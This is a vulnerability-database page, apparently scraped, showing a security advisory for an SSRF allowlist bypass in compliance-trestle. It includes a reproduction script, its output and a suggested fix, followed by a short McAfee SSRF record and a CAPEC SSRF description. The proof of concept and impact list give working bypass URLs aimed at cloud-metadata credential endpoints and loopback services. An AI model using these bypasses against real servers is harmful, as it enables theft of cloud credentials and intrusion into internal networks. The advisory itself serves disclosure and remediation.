    ipaddress.ip_network('169.254.0.0/16'),
    ipaddress.ip_network('fe80::/10'),
    ipaddress.ip_network('0.0.0.0/8'),     # IPv4 "this network", reaches localhost on Linux
    ipaddress.ip_network('::/128'),        # IPv6 unspecified
]

def _canonicalize_ip(self, ip_addr):
    """Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form."""
    if isinstance(ip_addr, ipaddress.IPv6Address) and ip_addr.ipv4_mapped is not None:
        return ip_addr.ipv4_mapped
    return ip_addr

def _check_blocked_networks(self, ip_addr, hostname):
    ip_addr = self._canonicalize_ip(ip_addr)
    for network in ALWAYS_BLOCKED_NETWORKS:
        if ip_addr.version == network.version and ip_addr in network:
            raise TrestleError(...)

def _check_private_networks(self, ip_addr, hostname):
    ip_addr = self._canonicalize_ip(ip_addr)
    # ... same canonicalization before block_private_ip / warn_private_ip

Also add the canonicalized literal to _check_metadata_endpoints:

def _check_metadata_endpoints(self, hostname):
    # Canonicalize bracketed IPv6 literal hostnames before exact-match
    canonical = hostname.strip('[]')
    try:
        canonical_ip = ipaddress.ip_address(canonical)
        if isinstance(canonical_ip, ipaddress.IPv6Address) and canonical_ip.ipv4_mapped:
            canonical = str(canonical_ip.ipv4_mapped)
    except ValueError:
        pass
    if canonical in METADATA_HOSTNAMES:
        raise TrestleError(...)

This mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node undici SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.

Credit

Reported by tonghuaroot.

Severity
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52776"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-12T15:21:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`compliance-trestle` 4.0.3 (latest) ships an `URLSecurityValidator` in `trestle/core/remote/security.py` to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator\u0027s checks:\n\n- IPv4-mapped IPv6 literals (`[::ffff:169.254.169.254]`, `[::ffff:127.0.0.1]`, `[::ffff:10.0.0.1]`) are returned by `socket.getaddrinfo` as `IPv6Address` objects; `IPv6Address in IPv4Network(\u0027169.254.0.0/16\u0027)` returns `False`, so the `_check_blocked_networks` and `_check_private_networks` predicates do not match.\n- IPv4 unspecified address `0.0.0.0` is not in `ALWAYS_BLOCKED_NETWORKS` (which covers `127.0.0.0/8` but not `0.0.0.0/8`); on Linux + Docker, `0.0.0.0` routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.\n\nA malicious OSCAL profile referencing one of these URLs in `imports[*].href` or `back-matter.resources[*].rlinks[*].href` causes `HTTPSFetcher.__init__` and `_do_fetch` (which both invoke `validator.validate_url`) to pass the URL through to `requests.get`, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with `TRESTLE_BLOCK_PRIVATE_IPS=true` set) that the validator was specifically designed to block.\n\n### Affected versions\n\n`compliance-trestle` (PyPI) versions `\u003c= 4.0.3` are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced `URLSecurityValidator`; prior releases had no SSRF guard at all.\n\n### Privilege required\n\nNetwork-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via `HTTPSFetcher` or `SFTPFetcher`. The most realistic vector is a malicious OSCAL profile whose `imports[*].href` references one of the bypass URLs; the artifact then flows through `trestle href add` / `trestle import` / `trestle assemble` / `trestle author` / any workflow that resolves the profile\u0027s imports.\n\n### Root cause\n\n`trestle/core/remote/security.py` (4.0.3, lines 56-71 + 156-167):\n\n```python\nALWAYS_BLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),     # IPv4 loopback only\n    ipaddress.ip_network(\u0027::1/128\u0027),         # IPv6 loopback (single address)\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),  # IPv4 link-local only\n    ipaddress.ip_network(\u0027fe80::/10\u0027),       # IPv6 link-local\n]\n\nMETADATA_HOSTNAMES = {\n    \u0027169.254.169.254\u0027,          # IPv4 literal only\n    \u0027metadata.google.internal\u0027,\n    \u0027metadata.azure.com\u0027,\n    \u0027100.100.100.200\u0027,\n}\n\ndef _check_blocked_networks(self, ip_addr, hostname):\n    for network in ALWAYS_BLOCKED_NETWORKS:\n        if ip_addr in network:  # IPv6Address in IPv4Network -\u003e False\n            raise TrestleError(...)\n```\n\nFour independent gaps:\n\n1. **No IPv4-mapped IPv6 normalization.** `socket.getaddrinfo(\u0027::ffff:169.254.169.254\u0027, None)` returns an `IPv6Address`. Python\u0027s `ipaddress` module raises `TypeError` if mixed types are compared, and the `in` operator suppresses that to `False`. The validator never calls `.ipv4_mapped` to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the `[::ffff:N.N.N.N]` literal.\n\n2. **`METADATA_HOSTNAMES` is an exact-string set.** The hostname for `https://[::ffff:169.254.169.254]/` is `::ffff:169.254.169.254`, which is not in the set.\n\n3. **`0.0.0.0` is not blocked.** `0.0.0.0` is not in any of the four `ALWAYS_BLOCKED_NETWORKS` ranges. On Linux and inside containers, connecting to `0.0.0.0` routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on `0.0.0.0:PORT`).\n\n4. **DNS rebinding ribbon is only one IP deep.** `_resolve_hostname` records the first `getaddrinfo` result set, but a hostname with mixed records can still serve a private IP on the second resolution `validator.validate_url(self._url)` performs in `_do_fetch`. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.\n\nSibling code paths sharing the same defect: `SFTPFetcher.__init__` (lines 359-365 of `cache.py`) wires the identical `URLSecurityValidator` and inherits all four gaps.\n\n### Reproduction (E2E against `pip install compliance-trestle==4.0.3` + local IMDS simulator)\n\n```bash\n# 1. Setup\nmkdir -p /tmp/poc-trestle \u0026\u0026 cd /tmp/poc-trestle\npython3.12 -m venv venv   # any supported runtime (requires-python \u003e= 3.10); 3.12.13 chosen because \u003e= 3.12.4 it carries CPython CVE-2024-4032\u0027s is_global fix, proving this bypass is is_global-INDEPENDENT\n./venv/bin/pip install --quiet compliance-trestle==4.0.3\n./venv/bin/pip show compliance-trestle | head -2\n# Name: compliance-trestle\n# Version: 4.0.3\n\n# 2. Driver\ncat \u003e e2e_full.py \u003c\u003c\u0027PY\u0027\nimport http.server, http.client, socket, socketserver, threading, time, os\nfrom urllib.parse import urlparse\nfrom trestle.core.remote.security import URLSecurityValidator, get_block_private_ips_config\nfrom trestle.common.err import TrestleError\n\nclass IMDS(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = b\u0027{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\",\"SecretAccessKey\":\"REDACTED\",\"Token\":\"FAKE_IMDS_RESPONSE\"}\u0027\n        self.send_response(200); self.send_header(\"Content-Length\", str(len(body))); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nclass DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer):\n    address_family = socket.AF_INET6\n    def server_bind(self):\n        try: self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)\n        except (AttributeError, OSError): pass\n        super().server_bind()\n\nPORT = 18560\nsrv = DualStack((\"::\", PORT), IMDS)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\ntime.sleep(0.2)\n\nvalidator = URLSecurityValidator(block_private_ips=True)\ndef attempt(label, url, expect_block):\n    try:\n        validator.validate_url(url); verdict, blocked = \"VALIDATION PASSED\", False\n    except TrestleError as e:\n        verdict, blocked = f\"BLOCKED: {str(e)[:80]}\", True\n    meta = \"(expected)\" if blocked == expect_block else \"(*** UNEXPECTED ***)\"\n    print(f\"\\n[{label}]\\n  URL: {url}\\n  Validator: {verdict}  {meta}\")\n    if not blocked:\n        try:\n            p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3)\n            c.request(\"GET\", p.path or \"/\"); r = c.getresponse(); print(f\"  Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}\"); c.close()\n        except Exception as e:\n            print(f\"  Connectivity: {type(e).__name__}: {str(e)[:80]}\")\n\n# Negative controls (validator must block)\nattempt(\"NEG-1: literal 169.254.169.254\", f\"https://169.254.169.254:{PORT}/latest/meta-data/\", True)\nattempt(\"NEG-2: literal 127.0.0.1\", f\"https://127.0.0.1:{PORT}/admin\", True)\nattempt(\"NEG-3: metadata.google.internal\", f\"https://metadata.google.internal:{PORT}/\", True)\nattempt(\"NEG-4: literal 10.0.0.1 RFC1918\", f\"https://10.0.0.1:{PORT}/admin\", True)\n# Bypasses (validator should block, but does not)\nattempt(\"BYPASS-1: IPv4-mapped IPv6 cloud-metadata\", f\"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin\", True)\nattempt(\"BYPASS-2: 0.0.0.0 reaches localhost\", f\"https://0.0.0.0:{PORT}/admin\", True)\nattempt(\"BYPASS-3: IPv4-mapped IPv6 loopback\", f\"https://[::ffff:127.0.0.1]:{PORT}/admin\", True)\nattempt(\"BYPASS-4: IPv4-mapped IPv6 RFC 1918\", f\"https://[::ffff:10.0.0.1]:{PORT}/admin\", True)\nsrv.shutdown()\nPY\n\n# 3. Run\n./venv/bin/python e2e_full.py\n```\n\nObserved output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is \u003e= 3.12.4, so CPython CVE-2024-4032\u0027s `is_global`/`is_private` reclassification IS active here; the bypass nevertheless works because this validator uses `IPv6Address in IPv4Network(...)` membership (which silently returns False for cross-version comparison), NOT the `is_global` predicate. The mechanism is therefore robust to CPython version:\n\n```\nPython: 3.12.13\ncompliance-trestle: 4.0.3\n  ::ffff:169.254.169.254       is_global=False  is_private=True  in IPv4Network(\u0027169.254.0.0/16\u0027)=False\n  ::ffff:127.0.0.1             is_global=False  is_private=True  in IPv4Network(\u0027169.254.0.0/16\u0027)=False\n  ::ffff:10.0.0.1              is_global=False  is_private=True  in IPv4Network(\u0027169.254.0.0/16\u0027)=False\n\n[NEG-1: literal 169.254.169.254]\n  URL: https://169.254.169.254:18560/latest/meta-data/\n  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se  (expected)\n\n[NEG-2: literal 127.0.0.1]\n  URL: https://127.0.0.1:18560/admin\n  Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi  (expected)\n\n[NEG-3: metadata.google.internal]\n  URL: https://metadata.google.internal:18560/\n  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi  (expected)\n\n[NEG-4: literal 10.0.0.1 RFC1918]\n  URL: https://10.0.0.1:18560/admin\n  Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i  (expected)\n\n[BYPASS-1: IPv4-mapped IPv6 cloud-metadata]\n  URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: TimeoutError: timed out\n\n[BYPASS-2: 0.0.0.0 reaches localhost]\n  URL: https://0.0.0.0:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: HTTP 200, body[:60]=b\u0027{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\u0027\n\n[BYPASS-3: IPv4-mapped IPv6 loopback]\n  URL: https://[::ffff:127.0.0.1]:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: HTTP 200, body[:60]=b\u0027{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\u0027\n\n[BYPASS-4: IPv4-mapped IPv6 RFC 1918]\n  URL: https://[::ffff:10.0.0.1]:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: RemoteDisconnected: Remote end closed connection without response\n```\n\n(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of `is_global`-independence: even with CPython\u0027s CVE-2024-4032 fix active (`is_global=False`, `is_private=True`), the validator\u0027s `in IPv4Network(...)` membership check still returns `False`, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/`::`, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)\n\nNegative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass `URLSecurityValidator.validate_url()` on the latest patched release.\n\n### Impact\n\n- SSRF to AWS / Azure / GCP / Alibaba IMDS via `https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/\u003crole\u003e` -\u003e short-lived role credentials exfiltrated through the cached fetch.\n- SSRF to loopback administrative interfaces via `https://0.0.0.0:PORT/` or `https://[::ffff:127.0.0.1]:PORT/` -\u003e access to local-only admin endpoints (Docker socket on `unix://`, Prometheus, etcd, Kubelet) that the validator was supposed to deny.\n- SSRF to RFC 1918 internal services via `https://[::ffff:10.0.0.1]/...` even when `TRESTLE_BLOCK_PRIVATE_IPS=true` is explicitly set, defeating the operator\u0027s defense-in-depth posture.\n- The cache-write traversal protection (`PathSecurityValidator.validate_url_path_for_cache` + `validate_cache_path`) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.\n\n### Suggested fix\n\nNormalize every resolved IP to its canonical IPv4 form before membership checks, and add `0.0.0.0` to the always-blocked set. Diff sketch against `trestle/core/remote/security.py`:\n\n```python\nALWAYS_BLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),\n    ipaddress.ip_network(\u0027::1/128\u0027),\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),\n    ipaddress.ip_network(\u0027fe80::/10\u0027),\n    ipaddress.ip_network(\u00270.0.0.0/8\u0027),     # IPv4 \"this network\", reaches localhost on Linux\n    ipaddress.ip_network(\u0027::/128\u0027),        # IPv6 unspecified\n]\n\ndef _canonicalize_ip(self, ip_addr):\n    \"\"\"Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form.\"\"\"\n    if isinstance(ip_addr, ipaddress.IPv6Address) and ip_addr.ipv4_mapped is not None:\n        return ip_addr.ipv4_mapped\n    return ip_addr\n\ndef _check_blocked_networks(self, ip_addr, hostname):\n    ip_addr = self._canonicalize_ip(ip_addr)\n    for network in ALWAYS_BLOCKED_NETWORKS:\n        if ip_addr.version == network.version and ip_addr in network:\n            raise TrestleError(...)\n\ndef _check_private_networks(self, ip_addr, hostname):\n    ip_addr = self._canonicalize_ip(ip_addr)\n    # ... same canonicalization before block_private_ip / warn_private_ip\n```\n\nAlso add the canonicalized literal to `_check_metadata_endpoints`:\n\n```python\ndef _check_metadata_endpoints(self, hostname):\n    # Canonicalize bracketed IPv6 literal hostnames before exact-match\n    canonical = hostname.strip(\u0027[]\u0027)\n    try:\n        canonical_ip = ipaddress.ip_address(canonical)\n        if isinstance(canonical_ip, ipaddress.IPv6Address) and canonical_ip.ipv4_mapped:\n            canonical = str(canonical_ip.ipv4_mapped)\n    except ValueError:\n        pass\n    if canonical in METADATA_HOSTNAMES:\n        raise TrestleError(...)\n```\n\nThis mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node `undici` SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-h47f-gmjp-m7rr",
  "modified": "2026-08-12T15:21:17Z",
  "published": "2026-08-12T15:21:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-h47f-gmjp-m7rr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/d107cd16efe8eb15d46be3c1d97f1ec73d32447c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oscal-compass/compliance-trestle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "compliance-trestle has an URLSecurityValidator SSRF allowlist bypass via IPv4-mapped IPv6 and 0.0.0.0"
}

GHSA-H485-JR3P-6H83

Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2023-11-16 15:30
VLAI
Details

External entity attack vulnerability in the ePO extension in McAfee MVISION Endpoint prior to 20.11 allows remote attackers to gain control of a resource or trigger arbitrary code execution via improper input validation of an HTTP request, where the content for the attack has been loaded into ePO by an ePO administrator.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-7328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-11T09:15:00Z",
    "severity": "HIGH"
  },
  "details": "External entity attack vulnerability in the ePO extension in McAfee MVISION Endpoint prior to 20.11 allows remote attackers to gain control of a resource or trigger arbitrary code execution via improper input validation of an HTTP request, where the content for the attack has been loaded into ePO by an ePO administrator.",
  "id": "GHSA-h485-jr3p-6h83",
  "modified": "2023-11-16T15:30:19Z",
  "published": "2022-05-24T17:34:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7328"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10334"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list